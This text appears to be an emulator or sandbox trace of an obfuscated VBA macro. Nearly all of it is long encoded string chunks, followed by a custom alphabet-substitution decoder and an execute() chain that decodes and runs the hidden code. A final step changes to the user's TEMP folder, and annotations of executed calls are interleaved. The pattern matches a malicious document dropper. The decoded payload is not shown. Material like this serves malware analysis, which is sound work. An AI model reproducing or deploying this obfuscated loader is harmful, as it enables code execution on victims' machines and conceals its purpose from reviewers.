QZsLm\|qHPz3s\|hgMHBe\|3HfJMG\|LlyHlh\|5g3v5g\|blMSQ0\|ksUQfg\|hl5QJk\|swyQOs\|4+iN8Q\|fghl5Q\|JkfIXj\|MWl076\|Ex7wlJ\|NqpP5W\|qQswyX\|6UfcMH\|uX6UlW\|iRYQZS\|4xiPbY\|3wFX6l\|7dyGTp\|MRqeM1\|fp74Jk\|bwEUi8\|lWNqpP\|5WqQsw\|yX6Ufe\|36Lg7w\|Ej7glv\|5QJkuG\|fSigXY\|KHAW3W\|lj3sQp\|NqpZ5S\|LPMnTv\|MSLs31\|XI5wuQ\|dWfF74\|Jk5G3z\|5S4AiP\|X05glJ\|i6QSo6\|F09NUe\|mR0xm6\|F09N8x\|VjLBmd\|iemR0x\|m2F09N\|8JVjLB\|mduemR\|0xXSF0\|9N8GVj\|LBmdQe\|mR0xos\|F0iS0S\|96ipNq\|pGMgPJ\|K64AiR\|XY3wxc\|5HTaVn\|Tl3GTl\|ywqQk6\|TisJf3\|1JxZqJ\|Pm1JIL\|qJhTdU\|fMuHAW\|7R7hMW\|fMdwlj"
117	str = str & "\|MWAz5H\|3J1P7p\|5Wbv7G\|XMqGf2\|MWfe7P\|3lMnXp\|5HEMq1\|L0iPLh\|7ghz1P\|7p5n7v\|MWqe31\|hl1PLh\|7gQSkq\|Jk5H3W\|KwXlMg\|PJK64A\|iRXY3w\|xc5HTa\|VnTl3G\|TlywqQ\|k6TisJ\|f31JxZ\|qJPm1J\|ILqJhT\|dUfMMH\|AW7R7h\|MWfMdw\|ljMWAz\|5H3J1R\|Tr5nTc\|1gAW3W\|lj3fLh\|7gQSkq\|JkMWfh\|3RLh7g\|QQZs4S\|iQJkbW\|A2i8fh\|yHQQKs\|LT5SLv\|7nXeNq\|pH31T0\|y1bYiN\|JQiSiX\|6n3lMn\|Lh7gQQ\|ZsLzKg\|fc5gAS\|KSE23w\|723wPU\|i6QSs8\|tPwfAN\|ffTsbu\|Eu1Ifd\|bfTMuJ\|AgfP7L\|uUfMdw\|ljMWAz\|5H3J18\|AW3Wlj\|3f0Si6\|yQKs4W\|i6TMfH\|A23PxZ\|MRbp5H\|Ez1PLs\|dJ7squ\|I8sfiS\|kqJksw\|yQbnXv\|VW3p5g\|flOglz\|7RmQkR\|3lMnLh\|7gQQTS\|4SfJlo\|fJAsb6\|EPw8uS\|ksLuKg\|feNqp2\|3wPUMg\|PJK64A\|iR3lMn\|Lh7gQX\|6nXY3w\|xc5HTa\|VnTl3G\|72K1bl\|i6TisJ\|f31JxZ\|qJPm1J\|ILqJhT\|dUfMMH\|AW7R7h\|MWfMdw\|ljMWAz\|5H3J1R\|Tr5nTc\|1gAW3W\|lj3fLh\|7gQSV6\|LGMgPJ\|K60Qil\|TPbIAd\|wSiX6n\|XY3wxc\|5HTaVn\|Tl3G72\|K1bli6\|TisJf3\|1JxZqJ\|Pm1JIL\|qJhTdU\|fMMHAW\|7R7hMW\|fMdwlj\|MWAz5H\|3J1RTr\|5nTc1g\|AW3Wlj\|313lMn\|Xp5HFS\|V6Lpi6\|0QilTP\|bIAdwS\|iX6nXY\|3wxc5H\|TaVnTl\|3G72K1\|bli6Ti\|sJf31J\|XfulTP\|dlb9ff\|XPulxd\|dJ3ufJ\|PsbfxX\|KwX25G\|Xv3nbM\|dH3WKw\|Xl16iQ"
118	str = str & "\|TSLpi6\|yQilx1\|5GTU18\|A07glv\|5nXMbg\|fWy1fc\|783vMW\|Ih76ic\|i6T85H\|mSV64S\|uUfR1I\|XKiQJk\|MHhl5g\|xvyWYe\|MWfn7G\|Tp7guQ\|iUhVbf\|l9qIfs\|uUfofP\|AfuJfs\|1PXZbl\|b1qfTP\|18IpyG\|TvMHAW\|7PxZ3W\|3pyHfM\|iS4Wig\|UQTS4S\|1P7vMW\|bMuHfj\|71Tp7R\|lMfUTL\|fHP25W\|le3GmS\|V64Sms\|ici6Ts\|bu79bP\|7ZuUqS\|NqpzKg\|fc5gAS\|KSE23w\|7GMWlJ\|3s4Ss8\|tPwfAN\|ffTsbu\|Eu1Ifd\|bfTMuJ\|AgfP7L\|uUfMdw\|ljMWAz\|5H3J18\|AW3Wlj\|3f0Si6\|yQKs4W\|i6TMfH\|A23Pxd\|3wXIMW\|lJOfxm\|313l56\|ici6ix\|iS0Qil\|TPbIA8\|fJAsb6\|iX6nXY\|3wxc5H\|TaVnTl\|3G72K1\|bli6Ti\|sJf31J\|XfulTP\|dlb9ff\|XPulxd\|dJ3ufJ\|PsbfxX\|KwX25G\|Xv3nbM\|dH3WKw\|Xl16iQ\|TSLpi6\|yQilxP\|OgXl5P\|xd3wXI\|MWlJOf\|xm313l\|56ici6\|ixiS0Q\|ilTPbI\|A8fJAs\|b6iX6n\|XY3wxc\|5HTaVn\|Tl3G72\|K1bli6\|TisJf3\|1JXful\|TPdlb9\|ffXPul\|xddJ3u\|fJPsbf\|xXKwX2\|5GXv3n\|bMdH3W\|KwXl16\|iQTSLp\|i6yQil\|xPOgXl\|5PxZMR\|bp5HEz\|18bl3W\|PI5Rbg\|5GTty1\|qSV64S\|XdySV6\|4SuUfR\|1Jb1dI\|T8iQJk\|MHhl5g\|xvyWYe\|MWfn7G\|Tp7guQ\|iUhVbf\|l9qIfs\|uUfofP\|AfuJfs\|1PXZbl\|b1qfTP\|18IpyG\|TvMHAW\|7PxZ3W\|3pyHfM\|iS4Wig\|UQTS4S\|18fFyH\|fc1PXl\|yGf2K1\|bE1P36\|qf7hMW\|Ep5W7z\|iS0Qij\|8SV64S"
119	str = str & "\|uUfR1J\|b1dIT8\|iQJkbw\|EUi8lW\|Nqpo31\|hJNqpT\|3SLgMH\|Be3Wlc\|3wfFK1\|XJM24Y\|7GLh7g\|QQTS4S\|fJlofJ\|Asb6EP\|w8uSks\|LuKgfe\|Nqpv3W\|3pyHf0\|y1bYiN\|JQ7GLh\|7gQX6U\|fcMHfT\|3SLgMH\|Be3Wlc\|3wfFK1\|XJM24Y\|5H3WKw\|XlMgPJ\|K64Wi6\|T1suE1\|dIT8VU\|fybsip\|iPbY3w\|FX6WAW\|3Wlj31\|Lh7gQQ\|ZsLv3W\|3pyHf0\|y1bYNq\|pP5RXl\|swyQbn\|XvVW3p\|5gflOg\|lz7RmQ\|kRTlyw\|b0y1bY\|i6yQil\|7Tdl7Z\|uUqebf\|hPiSUQ\|fghl5Q\|Jk5H3W\|KwXlMg\|PJK64A\|iRTlyw\|b0y1bY\|NqpP5W\|qQswyX\|6Ufe36\|Ld7wiX\|6lXIyS\|Lv3W3p\|yHuYyw\|bUMSUX\|6UAei8\|f2MWA2\|iPTlMG\|ft3sLo\|31hJNq\|pT3SLo\|5GqQbn\|XvVW3p\|5gflOg\|lz7RmY\|KwEz7g\|Pc5gbp\|MS4Wi6\|T2KHE2\|56Eudf\|4xiSUQ\|dGiQdW\|AJi83z\|52EWKw\|xl31hp\|MGbzi6\|hp5nXJ\|ywxc3g\|l2i6yQ\|inTr5n\|TcVlbX\|uNiSks\|LuKgfe\|Nqp0MW\|fZ3W3p\|yHuQyw\|bUMQJk\|bwEUi8\|lWNqpT\|3SLgMH\|Be3Wlc\|3wfFK1\|XJM24Y\|5H3WKw\|XlMgPJ\|K64Wi6\|T1suE1\|dIT8VU\|fybsip\|iPbY3w\|FX6U3z\|52Ej5G\|LE3Wlc\|3sLp5n\|XJywxc\|3gl2i6\|yQinTr\|5nTcVl\|bXuN8S\|i60Q5H\|3WKwXl\|MgPJK6\|4Wi6To\|5GTtyw\|0e3gAj\|iS4ciP\|b27wuX\|6U3z52\|Ej5GLE\|3Wlc3s\|Lp5nXJ\|ywxc3g\|l2i6yQ\|inTr5n\|TcVlbX\|uNiSi6\|0Q5H3W\|KwXlMg\|PJK64W\|i6T65H\|ArVnhc"
120	str = str & "\|M2iQV6\|LuMnfl\|NqpT3S\|LgMHBe\|3Wlc3w\|fFK1XJ\|M24Y5H\|3WKwXl\|MgPJK6\|4Wi6To\|5GTtyw\|0e3gAj\|iSUQfg\|hl5QJk\|5WbvyG\|Lh7gQQ\|ZsLv3W\|3pyHf0\|y1bYi6\|yQiUEv\|MWIh56\|EU5HmS\|Nqpp5n\|XJywxc\|i6TU5H\|mSNqpP\|5WqQsw\|yX6UlW\|i83z52\|EWKwxl\|31hpMG\|bzi6hv\|3W3pyH\|f0y1bY\|i6yQiU\|Tv5Hce\|OgxziS\|UQfghl\|5QJk5n\|hcMGLh\|7gQQZs\|Lv3W3p\|yHf0y1\|bYi6yQ\|iUTv5H\|ceOgxz\|iQJkKw\|Ez7gPc\|564SOg\|xziQJk\|bwEUi8\|lWNqpP\|5WqQsw\|yX6Ufe\|36Ld7w\|iX6U3I\|5WXJKw\|AeigXY\|KI7lyS\|QpNqpZ\|5SLPMn\|TvMSLs\|31XI5w\|uQdWfF\|74Jk7H\|fSiNJQ\|uWfh38\|leKsht\|OwleKs\|0QiUXv\|5W3p32\|ici6TG\|3wiSV6\|iSkqJk\|swyQ7H\|fSiNJQ\|inllM2\|iQfghl\|5QJkMG\|bh764A\|igXYKH\|hvMGqY\|iWhJ7R\|4DV2BS\|TWxvyH\|Pcsf4W\|ijYJXj\|MFosAj\|KgfjK2\|EhMG4/\|ONI25H\|Xr5nTv\|5g0Skq\|JkbwEU\|i8lWNq\|pP5WqQ\|bnfeyG\|bp5HFX\|6U3I5W\|XJKwAe\|iRL23f\|7lySQp\|NqpZ5S\|LPMnTv\|MSLs31\|XI5wuQ\|dWfF74\|Jk7HfS\|iNJQuW\|fh38le\|KshtOw\|leKs0Q\|iUXv5W\|3p32ic\|i6TG3w\|iSV6iS\|kqJkMR\|TlfHfS\|iNJQbW\|PcMHuX\|6n7lyU\|P0M64A\|igleMG\|bh5gxU\|K1iQTS\|4S7Hle\|MGbhMn\|bMMG3j\|KgAz76\|ElOguS\|NqpT3S\|LG3wiQ\|ZNFQiW\|EviSLu\|KgfeNq\|pT3SL0\|MWfTu6\|hc5HXh\|58lqks\|4BZS4S"
121	str = str & "\|5WBSiP\|bY3wFX\|6UlWi8\|Ev76Lg\|MHBe3W\|lc3wfF\|K1XJM2\|4Y7HfS\|q1L0ks\|LuKgfe\|NqpNyw\|xci8PU\|383pMW\|f1ywxc\|k6Td7H\|fSq1L0\|iS0JXj\|MFos0x\|VR7lyU\|P0M6UX\|6U3z52\|ENMWfh\|7gfg5H\|xU31iQ\|kgleMG\|bh5gxU\|K1iWin\|7p5nXJ\|y1TJ16\|ipNqp0\|iNJQqw\|bUugf2\|5wlzMH\|lv5SQS\|uIldf8\|fXiSxp\|5nXJyw\|xc3gl2\|TSTGKw\|Ez7gP2\|7P0SV6\|TgiSxg\|ywxz3s\|UX6nL2\|3ubv7H\|FQinXH\|yHhvMG\|qe31hl\|iSxp5n\|XJywxc\|3gl2TS\|TGKwEz\|7gP27P\|0SV6Tz\|7WXY5G\|XJVWfF\|3sicin\|USVN8X\|6l7dyG\|TpMRqe\|uHxl31\|4Qmj40\|m4Jksw\|yQbnXv\|VW3p5g\|flOglz\|7RmQkR\|7lyUP0\|M6UQfg\|hl5QJk\|MHhl5g\|xvyWYe\|MnfeiR\|7lyUP0\|M600Nq\|pz7gPJ\|iNJQyH\|hrKgAz\|76QSKR\|bJMNYv\|V2iW5g\|AjywxT\|u6ySoj\|qHXzQE\|VHXY3w\|XrVWPz\|MNAFZ1\|TvyHte\|MWAc56\|ipNqpT\|3SLT5l\|XJMShz\|7gPJV6\|T2KHE2\|5gAriS\|UQZS40\|iPbY3w\|FX6l72\|K1blsw\|EpigIE\|KwEpV6\|TN5HEW\|KwMSV6\|TG3wiS\|V6TE31\|mSNqp0\|MWf13w\|iQZsLu\|MnflNq\|pP5RXl\|NqpT3S\|Lo5GqQ\|swEd7R\|iYMGbh\|760SyW\|PUKgAz\|76ipiN\|FQm6Lu\|KgfeNq\|p1MWlJ\|3uleKs\|LtOwle\|Ks0SqH\|Ae3Wln\|iS0S7H\|fSiS0S\|5WBSNq\|pP5WqQ\|swyX6U\|fe36LT\|3QJkbw\|EUi8lW\|NqpP5R\|XlNqpz\|Kgfc5g\|ASKSE2\|7wFQ7H\|fSq1L0\|VN4X6l\|72K1bl"
122	str = str & "\|swEpig\|IEKwEp\|V6TN5H\|EWKwMS\|V6TG3w\|iSV6TE\|31mSNq\|p0MWf1\|3wiQZs\|LuMnfl\|NqpP5W\|qQswyX\|6Ufe36\|LT3QJk\|bwEUi8\|lWNqpP\|5WqQbn\|feyGbp\|5HFX6U\|3I5WXJ\|KwAeiR\|L23ulq\|k8lqkq\|JkMRTl\|sf4QZs\|4SOwfz\|iQJkMH\|fniNJQ\|uGLcK1\|qYsf4c\|iSFSkq\|JkuHfc\|3wXJi8\|XhMHuQ\|MHfnkN\|4pNqpN\|y1Xli6\|ixm6iX\|6nL23u\|lqiNJQ\|iWEviQ\|JkqHPz\|3s4Smd\|M2iQJk\|swyQMH\|fnkN8p\|ZjJxXS\|LL5WqQ\|MHfnkN\|8piN0A\|mz8Qfg\|hl5QJk\|MRTlsf\|4QZs4S\|5WBSNq\|pP5WqQ\|swyX6U\|XhMHuQ\|ij8EmS\|iX6UlW\|iRXl32\|Qxks4A\|i6ixXj\|QSiPbY\|3wFX6n\|L23ulq\|iNJQiW\|EviQJk\|bwEUi8\|lWNqpP\|5WqQuH\|fc3wXJ\|NqpP5W\|qQbnfe\|yGbp5H\|FX6lXI\|ySL0MW\|fXKwEl\|MSQpNq\|pZ5SLP\|MnTvMS\|Ls31XI\|5wuQdW\|fF74Jk\|bgltig\|ASKlMc\|51L25H\|mX6nXY\|3wxc5H\|TaVnTl\|3G72K1\|bli6Ti\|sJxX1P\|XZblb1\|qfTP18\|IpyGTv\|MHAW7P\|xNMnl0\|7gAnMW\|P0KRlM\|dJl818\|feyHAU\|KwEnfR\|l03s40\|18X2O1\|LJuJlq\|bgxcfW\|f2Kw3E\|swEUK1\|TlyGb8\|y1bh1R\|tNXjQE\|quP6o6\|JFbdMF\|Vd8xbN\|4to8mJ\|X2J0m8\|m0X83N\|mjUIbu\|fA18bc\|56ici6\|TNolx1\|KwEU5G\|7z1PXE\|MGbl5d\|m21gEJ\|3gxcVW\|bc56ic\|i6Tsbu\|79uIYS\|NqpzKg\|fc5gAS\|KSE23w\|7GMWlJ\|3s4Ss8\|tmdfxd\|dJ3ufJ\|PsbfxX\|KwX25G\|Xv3nbM"
123	str = str & "\|qGTEMR\|bv3GTh\|MghE18\|ATbPxP\|5WXv3g\|le3IbE\|MguQmP\|xNMnl0\|7PXTu8\|bc5P3l\|MWlWOu\|le3gl2\|3wXJbg\|PJyfxC\|qzyFou\|PLqjQt\|o8uGo6\|Jxmuq0\|VdhNXN\|MtmNLN\|mNbgqz\|iEXufP\|9fxg7w\|EjdWPt\|3sici6\|T8yW7f\|KuXv5n\|bp5nfl\|iS0SuU\|fR1IXK\|iQJksw\|yQbnXv\|VU3p5g\|fPOglz\|7RmYKw\|Ez7gPc\|5gbpMS\|yS7Hle\|MGbhMn\|bM5wle\|31ie31\|hliSUQ\|fghl5Q\|JkMHhl\|5gxvyW\|YeMnfe\|igleMG\|bh5gxU\|K1iWin\|7p5nXJ\|y1TJ1g\|Ip5Wf2\|VWfF3s\|iX6Ufc\|MHuX6U\|lWiRQF\|XS4Ai6\|TFoNyS\|iPbY3w\|FX6nL2\|3ubv7H\|FQiWIp\|5Wf2mS\|ElOguS\|VgleMG\|bh5gxU\|K1iWin\|7p5nXJ\|y1TJ16\|iciWIp\|5Wf2VW\|fF3sic\|inUSVN\|UX6Ufc\|MHuX6n\|L23ubv\|7HFQiW\|Ip5Wf2\|VWfF3s\|icKwEz\|7gPc5g\|bpMSyS\|7HleMG\|bhMnbM\|iS0S5w\|le31ie\|31hliS\|0SOsic\|mQJkbw\|EUi8lW\|NqpP5W\|qQswyX\|6lblMW\|Il5WBX\|6l7dyG\|TpMRqe\|uHxl31\|4Qmj40\|m4JkyH\|hr5wle\|31TWKw\|xlNqpj\|KgttKw\|ElMQJk\|MHhl5g\|xvyWYe\|unfei6\|TJy1Xr\|KHlc56\|4v3S4v\|KwJQ5w\|le31ie\|31hliS\|0Qm4Jk\|bwEUiP\|XIyQJk\|uGfSig\|XYKHIp\|5Wf23W\|lc3sQp\|NqpZ5S\|LPMnTv\|MSLs31\|XI5wuQ\|dWfF74\|JkswyQ\|dWAJi8\|3z52Eg\|Kwxlb1\|hpMGbz\|kgleMG\|bh5gxU\|K1iWin\|7p5nXJ\|y1TJ1g\|Ip5Wf2\|VWfF3s\|ipiPbY\|3wFX6U\|lWiRQF"
124	str = str & "\|XS4Ai6\|TFoNyS\|iPbY3w\|FX6nL2\|3ubv7H\|FQiWIp\|5Wf2mS\|ElOguS\|VgleMG\|bh5gxU\|K1iWin\|7p5nXJ\|y1TJ16\|iciWIp\|5Wf2VW\|fF3sic\|inUSVN\|UX6Ufc\|MHuX6n\|L23ubv\|7HFQiW\|Ip5Wf2\|VWfF3s\|icKwEz\|7gPc5g\|bpMSyS\|7HleMG\|bhMnbM\|iS0S5w\|le31ie\|31hliS\|0SOsic\|mQJkbw\|EUi8lW\|NqpP5W\|qQswyX\|6UlWi8\|Ev76Lg\|MHBebW\|lc3ufF\|K1XJM2\|hp5nXJ\|ywxc3g\|l2TSTG\|KwEz7g\|P27Pxt\|OwIp5W\|f2VWfF\|3sipiP\|bY3wFX\|6nXY3w\|xc5HTa\|VnTI5S\|Lp5nXJ\|ywxc3g\|l2TSTG\|KwEz7g\|P27Pxt\|KwElMS\|ElOguS\|NqpP5W\|qQswyX\|6nXY3w\|xc5HTa\|VlTI5S\|4S7gPz\|KHtp5g\|0QVHyQ\|VHltig\|Ip5Wf2\|VWfF3s\|iciN4X\|6Ufe36\|Ld7wiX\|6lXIyS\|LjKgtt\|KwElMS\|QpNqpZ\|5SLPMn\|TvMSLs\|31XI5w\|uQdWfF\|74Jkbg\|ltiP7t\|KsxX3w\|EvV8Il\|5WALV8\|Il5WAo\|Nqpd31\|qQfHIp\|Zu7l78\|ASKWfj\|76QS7H\|le5w7t\|7RmD1P\|0e1RTv\|5GbMyH\|lt7jiS\|kqJkuH\|fJi8Il\|5WBAfH\|IpVWfF\|3wXx7w\|f2OsQS\|MHfc3w\|XJi6YQ\|3nTv5s\|LGKwFz\|mlA0MW\|Aj31Xz\|iR7Y31\|TligEh\|5wuATH\|IE5wle\|31ie31\|hlT2ip\|Nqpd31\|qQdwfe\|5J8AfH\|IpVWfF\|3wXx7w\|f2OsQS\|MHfc3w\|XJi6YQ\|3nTv5s\|LGKwFz\|mlA0MW\|Aj31Xz\|iR7Y31\|TligEh\|5wuATH\|IE5wle\|31ThVW\|fF3sMS\|kqJkuH\|fJi8Il\|5WAoZf\|7tKsEl\|OgfjM1\|flMnUY"
125	str = str & "\|inXl5g\|fj764a\|ig325H\|JQ7Hle\|mzT9MR\|TvyHfz\|M2LGKg\|f23sLe\|ywIlZs\|7tOwIp\|5Wf25S\|ElOgun\|iSUX6n\|XY3wxc\|5HTaVl\|TI5S4S\|7gPzKH\|tp5g0Q\|VHyQVH\|ltigIp\|5Wf2VW\|fF3sic\|iN4X6W\|P0M64A\|iPTlyw\|bT5WUY\|51lp5W\|Uci6Tt\|KwElMS\|ici6Th\|MR4SV6\|iSkqJk\|swyQdw\|fe52Ej\|5Gfe76\|4BiN8Q\|fghl5Q\|JkMHhl\|5gxvyW\|Yeunfe\|igleMG\|bh5gxU\|K1iWin\|7p5nXJ\|y1TJ1g\|IE5wle\|31ie31\|hli6iW\|5wA23g\|f2VN4c\|bWPcMH\|uX6Ufe\|36LT3Q\|JkswyQ\|dwfe5J\|8eyHAI\|5nqQZ6\|4xiPbY\|3wFX6n\|XY3wxc\|5HTaVl\|TI5SLp\|5nXJyw\|xc3gl2\|TSTGKw\|Ez7gP2\|7PxtOw\|Ip5Wf2\|ysElOg\|uQiS3t\|5GTU31\|icm6xg\|ywxz3q\|JkbwEU\|i8lWNq\|pT3SLX\|3wEvdS\|Ej5Gfe\|764BiN\|8Qfghl\|5QJkMH\|hl5gxv\|yWYeun\|feigle\|MGbh5g\|xUK1iW\|in7p5n\|XJy1TJ\|1gIE5w\|le31Te\|VWfF3s\|4STWIv\|"
126	str = str & """:cSJXhQP = """
127	str = str & "cSJXhQP\|\|aIr%!\|\|%Len(\|\|cSJXhQP\|\|a):For\|\|%n%!%1\|\|%To%\|\|cSJXhQPa\|\|Ir%Ste\|\|p%4:\|\|cSJXhQPa\|\|IrOb%!\|\|%3:\|\|cSJXhQPaI\|\|rOboTO\|\|k%!%0:\|\|For%\|\|cSJXhQPa\|\|IrObo%\|\|!%0%To\|\|%3:\|\|cSJXhQPaI\|\|rOboT%\|\|!%Mid(\|\|cSJXhQP\|\|a,%n%\|\|+%cSJXhQP\|\|aIr\|\|Obo,%1\|\|):If%\|\|cSJXhQP\|\|aIrObo\|\|T%!%""""\|\|!""""%Th\|\|en:\|\|cSJXhQPaI\|\|rOb%!%\|\|cSJXhQP\|\|aIrOb\|\|%-%1:\|\|cSJXhQP\|\|aIrObo\|\|TO%!%0\|\|:Else:\|\|cSJXhQP\|\|aIrOb\|\|oTO%!%\|\|InStr(\|\|1,%\|\|cSJXhQPaI\|\|,%cSJXhQP\|\|aIr\|\|OboT,%\|\|vbBina\|\|ryComp\|\|are)%-\|\|%1:End\|\|%If:\|\|cSJXhQPa\|\|IrOboT\|\|Ok%!%6\|\|4%*%\|\|cSJXhQPa\|\|IrOboT\|\|Ok%+%\|\|cSJXhQP\|\|aIrObo\|\|TO:Nex\|\|t:\|\|cSJXhQPaIr\|\|OboTOk\|\|%!%Hex\|\|(cSJXhQP\|\|aIrO\|\|boTOk)\|\|:cSJXhQP\|\|aIrO\|\|boTOk%\|\|!%Stri\|\|ng(6%-\|\|%Len(\|\|cSJXhQP\|\|aIrObo\|\|TOk),%\|\|""""0"""")\|\|%&%\|\|cSJXhQPaI\|\|rOboTO\|\|k:cSJXhQP\|\|aIr\|\|OboTOk\|\|I%!%Ch\|\|"
128	str = str & "r(CByt\|\|e(""""&H""""%&%M\|\|id(cSJXhQP\|\|aI\|\|rOboTO\|\|k,1,2)\|\|))%+%C\|\|hr(CBy\|\|te(""""&\|\|H""""%&%\|\|Mid(\|\|cSJXhQPa\|\|IrOboT\|\|Ok,3,2\|\|)))%+%\|\|Chr(CB\|\|yte(""""\|\|&H""""%&\|\|%Mid(\|\|cSJXhQP\|\|aIrObo\|\|TOk,5,\|\|2))):\|\|cSJXhQP\|\|aIrO%!\|\|%cSJXhQP\|\|aIrO\|\|%&%Lef\|\|t(cSJXhQP\|\|aIr\|\|OboTOk\|\|I,%cSJXhQP\|\|aI\|\|rOb):N\|\|ext:aB\|\|%!%cSJXhQP\|\|aI\|\|rO:End\|\|%Funct\|\|ion:Zn\|\|!""""\|""""\|\|:ZnK!""""\|\|cSJXhQP\|\|""""\|\|\|Funct\|\|ion%aB\|\|(ByVal\|\|%cSJXhQP\|\|a):%\|\|cSJXhQP\|\|aI%!%\|\|Replac\|\|e(""""Zy\|\|XwVuYY\|\|TsRqPo\|\|YYNmLk\|\|JiYYHg\|\|FeDcYY\|\|BazYxW\|\|YYvUtS\|\|rQpYYO\|\|nMlKjI\|\|YYhGfE\|\|dCbYYA\|\|012YY3\|\|45YY67\|\|YY8YY9\|\|+YY/YY\|\|"""",%""""\|\|YY"""",%\|\|""""""""):\|\|cSJXhQP\|\|a%!%R\|\|eplace\|\|(Repla\|\|ce(Rep\|\|lace(\|\|cSJXhQP\|\|a,%""""%\|\|"""",%""""\|\|""""),%v\|\|bTab,%\|\|""""""""),\|\|%vbCrL\|\|f,%""""""""):\|\|"
129	str = str & """:cSJXhQPQm = """
130	str = str & "W3F4YF\|uOLVCM\|eASGFe\|N4gnWD\|N1e3Ww\|meW0R0\|ecWDaV\|5QaVmL\|W3F4gn\|WzNee3\|eniLN2\|JAgMmp\|N0CQaV\|mLa1x4\|YFuKLV\|5MDpue\|W0l0ec\|WTJee3\|eniNB2\|iwgMWG\|LVC3Bg\|SGJcF4\|gsW5LT\|1yxgSG\|Jcp4gs\|WGLV5M\|eQueW1\|apYDmp\|J05Mxg\|SLa1Kw\|ecW0NO\|e3vwye\|W0l0ec\|WDJ04A\|aVmLFc\|F4gsWC\|LV5MeQ\|qeW0qw\|ecWXJ1\|eBFpGJ\|HsZ2zD\|45BOqF\|YFeciw\|FdFMxd\|WV5RvF\|aaBMOL\|BFJ0Yu\|WAFAyJ\|a0GoBc\|q5H1Om\|Ygy4xM\|iwY3mC\|JF5RJ0\|W6iVKh\|e3mgNT\|9FYFec\|iwFdY3\|WDH293\|DpGHW2\|JIFMWz\|WuWFF0\|9aFFGr\|BDmGNe\|OAHMiI\|HsOrBD\|mGNeOA\|HMiCxM\|OsvpiP\|YsSmgn\|qEeV9n\|vwmKBO\|y3enS4\|gF5wY1\|JCH2uB\|FAy2x0\|KlJQR5\|NeOmHn\|SLHsyl\|gOSdzV\|5RxwaS\|iVmyBD\|WoBnuQ\|Yguax0\|K0z0S5\|BnuQYg\|uax0K0\|xcq5i3\|KVHnCc\|x1NdY1\|iGieWV\|mgyEW1\|"
131	str = str & "aogT5O\|anuBvF\|GSFFGN\|BDmgNV\|CdzFuH\|WAy0vT\|5OJeWV\|JAyNxT\|enBeS5\|euWVme\|uceV9u\|DcJ9kH\|RKPJ0P\|acSOB3\|e0aHSS\|JrSXBF\|RlRQp3\|Uwp5Uw\|tAUwx5\|UwB2Uw\|FCUwVd\|Ncd0Ls\|d5m3d3\|NMd4N3\|d4N3d3\|msdCNg\|i8Lwm8\|Lwa8Ng\|RdUwp4\|UwtAUw\|p4Uwp3\|Uwp5Uw\|VbNcdC\|Nwi8mQ\|a8mQS8\|NgZ5Uw\|x5Uwtd\|UwVCmc\|dCNwO8\|NgZdUw\|t5Uwt0\|Uwx5Uw\|J4Uwtd\|UwVCmc\|d3LcdC\|NwO8Ng\|VCUwVC\|m3d3mc\|dCNwq8\|NgVAUw\|x5Uwx1\|UwVdNM\|d4Nsd3\|NMdCNg\|a8mQW8\|Lwy8mA\|q8LgW8\|mQe8Ng\|RdUwt0\|UwB3Uw\|x1Uwt3\|Uwt4Uw\|tAUwFA\|UwVdN3\|d3NMd2\|m3dCNQ\|q8LwO8\|NgV0Uw\|p3UwVb\|NMd4Lc\|dCNgi8\|NgVbUw\|VdLsd3\|Lsd4Ls\|dCNgq8\|NgZ0Uw\|B4UwVC\|Nsd1NM\|dCNwi8\|Lwq8Ng\|"
132	str = str & "V0Uwtb\|Uwx1Uw\|tdUwxb\|UwVCNM\|d3mcdr\|PHpK\|\|acSOB3\|e0aHSS\|JrtrBD\|mgg0RA\|agySHu\|mgHMq0\|xMKTNF\|9Sxuqy\|vpasBF\|5izgyR\|YQFCis\|e5JcKM\|zDmVx1\|lbiTWH\|NuWFWe\|u4isuS\|gQuCNs\|aFmF9P\|aeWDgp\|B5HTe3\|aDGcgD\|1JYD5k\|apCVxF\|SOeTeM\|HOuCNu\|WAH1q2\|B3emvV\|1kvca1\|zcWRNe\|WXipu5\|NMtdH2\|CTxwud\|vV95gF\|tbxFSc\|JcpdWM\|mCF0aQ\|H0uTYp\|N2Hsmz\|NnVbmF\|9GWexA\|HwugDT\|Okxgy6\|NuN1JM\|ywaTuV\|BemVx0\|9TagyP\|NFaOe0\|aMNTeS\|e3xdLe\|qbxVGN\|xTVCDD\|5GNsKV\|LDaHen\|OyFsmK\|muWBxw\|aKeV9s\|FOiGie\|WVmgyE\|x3ukvw\|mOzuW3\|H092eT\|eie2mK\|g1yFWe\|SJDsV0\|a0B1xp\|amvTic\|Wcupe2\|egFV5F\|gAu6B3\|OQiMyg\|eVtbLF\|1OFceL\|BFu1mc\|KTBDGa\|inukBF\|i1FDOA\|aDG2xs\|uDvTe1\|F2eFaD\|aXa3uM\|Hwmoan\|pbF2uK\|W2e1WM\|mGNFqm\|"
133	str = str & "WVu6a3\|eQa2e4\|NuWfYD\|SSeQem\|iMy1i1\|xdJnqa\|iMFdYD\|eCNTGM\|NsqJHs\|Z2BDmg\|g0RAag\|ySHumg\|HMqgDV\|qTFnCH\|FeargM\|mpN20A\|awmNx2\|JbYgmp\|mV5maV\|mLa084\|YcWgLV\|5MeQqe\|W3irec\|W4N1e3\|vwueW0\|ayecWD\|J0CAaV\|mLa2F4\|gsWcLT\|1MvgSN\|W1x4gT\|WkLV5M\|DQueW0\|RCecWD\|Bp5Aaw\|mGN2iw\|gnWcLV\|5MDnie\|W3J1ec\|WTaue3\|ipueW3\|SwecW0\|mee3Ww\|yeW3Sw\|ecWDaT\|1maVmL\|FcV4Ye\|ugLVC3\|YgSGJe\|x4YFuS\|LV5MDp\|ueW1aw\|YF1pNF\|5QaVmL\|W084gs\|W1LT1y\|vgSGW1\|N4YFug\|LT1iag\|SNW3V4\|YeucLT\|1yFASN\|W2p4gT\|WcLT1y\|gASNa1\|x4gsWK\|LV5MDQ\|eeW1aw\|YcmpNn\|1maVmL"
134	str = str & """:cSJXhQPeXe = "
135	str = str & """exec""&""ute(""&""rep""&""lace(rep""&""lace(rep""&""lace(spl""&""it(cSJXhQP""&"",""""\|\|""&""\|"""")(1)&spl""&""it(cSJXhQP""&"",""""\|\|""&""\|"""")(0),""""%"""","""" """"),""""""&""!"""",""""""&""=""""),""""\|\|"""",""""""""))""&"":exe""&""cute(a""&""B(repl""&""ace(spl""&""it(cSJXhQP""&""Qm,""""\|\|"""")(1)&sp""&""lit(cSJXhQP""&""Qm,""""\|\|"""")(0),""""\|"""",""""""&"""""")))"""
137	gPath = Environ("TEMP")	Environ("TEMP") -> C:\Users\totti\AppData\Local\Temp executed
138	ChDrive "C"	ChDrive
139	ChDir gPath	ChDir
141	dmStr = str
